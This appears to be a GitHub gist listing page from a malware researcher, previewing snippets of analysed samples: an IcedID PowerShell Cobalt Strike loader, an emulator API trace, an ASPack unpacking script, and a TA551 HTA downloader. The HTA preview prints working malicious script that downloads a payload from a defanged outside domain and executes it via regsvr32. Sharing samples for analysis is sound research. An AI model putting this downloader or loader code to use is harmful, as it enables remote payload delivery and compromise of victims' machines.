LunaMarginis
/ Icedid_PS_ShareFinder
Created
February 4, 2023 09:23
LunaMarginis
/ Win_API_CS
Created
February 2, 2023 11:54
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Loaded 33405 bytes from file file.bin | |
| Initialization Complete.. | |
| Max Steps: 2000000 | |
| Using base offset: 0x401000 | |
| 4098a1 VirtualAlloc(base=0 , sz=864d7) = 600000 | |
| 4092d5 LoadLibraryA(KERNEL32.dll) | |
| 4093a1 GetProcAddress(GetThreadContext) | |
| 4093a1 GetProcAddress(ReadProcessMemory) | |
| 4093a1 GetProcAddress(CreateProcessA) |
LunaMarginis
/ Icedid_PS_CS
Created
February 2, 2023 11:53
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Set-StrictMode -Version 2 | |
| $DoIt = @' | |
| function func_get_proc_address { | |
| Param ($var_module, $var_procedure) | |
| $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') | |
| $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) | |
| return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) | |
| } |
LunaMarginis
/ ASPackUnpacker
Created
April 19, 2022 16:33
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ////////////////////////////////////////////////// | |
| // FileName : ASPack 2.xx.txt | |
| // Comment : OEP Find For ASPack 2.xx | |
| // Author : _pusher_ | |
| // Date : 2015-07-08 | |
| ////////////////////////////////////////////////// | |
| //start | |
| msg "ASPack 2.xx OEP Finder" | |
| msg "make sure you're at the entry point of the program before you continue" |
LunaMarginis
/ TA551xml_HTA_downloader
Created
October 23, 2021 09:42
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| html><body><div id='inIn'> | |
| var lineLady = new ActiveXObject("msxml2.xmlhttp");lineLady.open("GET", "http://carwaded[.]com/cbfsd/P9G7gD1E6t9w22zQj/cC9DHcTHUKJV/ugnbvdk0EInGgeCqaLEYILzxL/zes1?ref=wU4bJ1ZLhoMc8BcRMMqy&q=ELOKZymM", false);lineLady.send();if(lineLady.status == 200){try{var redLine = new ActiveXObject("adodb.stream");redLine.open;redLine.type = 1;redLine.write(lineLady.responsebody);redLine.savetofile("c:\\users\\public\\ladyLine.jpg", 2);redLine.close;}catch(e){}}; | |
| /div><div id='ladyCaroline'></div><div id='youInIn'> | |
| var ladyInKing = new ActiveXObject("wscript.shell");var carolineLine = new ActiveXObject("scripting.filesystemobject");ladyInKing.run("regsvr32 c:\\users\\public\\ladyLine.jpg"); | |
| /div><script language='javascript'>function lineMySea(youMySea){return(new ActiveXObject(youMySea));}function inLoveRed(youLoveLady){return(ladyLove.getElementById(youLoveLady).innerHTML);}function myYouRed(lineYouYou){return('cha' + lineYouYou);}function redL |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| xml version="1.0" encoding="UTF-8" standalone="yes"?> | |
| <w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:cx6="http://schemas.microsoft.com/office/drawing/2016/5/12/chartex" xmlns:cx7="http://schemas.microsoft.com/office/drawing/2016/5/13/chartex" xmlns:cx8="http://schemas.microsoft.com/office/drawing/2016/5/14/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:aink="http://schemas.microsoft.com/office/drawing/2016/ink" xmlns:am3d="http://schemas.microsoft.com/office/drawing/2017/model3d" xmlns:o="urn: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <HTA:APPLICATION ID="CS" | |
| APPLICATIONNAME="Test" | |
| WINDOWSTATE="minimize" | |
| MAXIMIZEBUTTON="no" | |
| MINIMIZEBUTTON="no" | |
| CAPTION="no" | |
| SHOWINTASKBAR="no"> |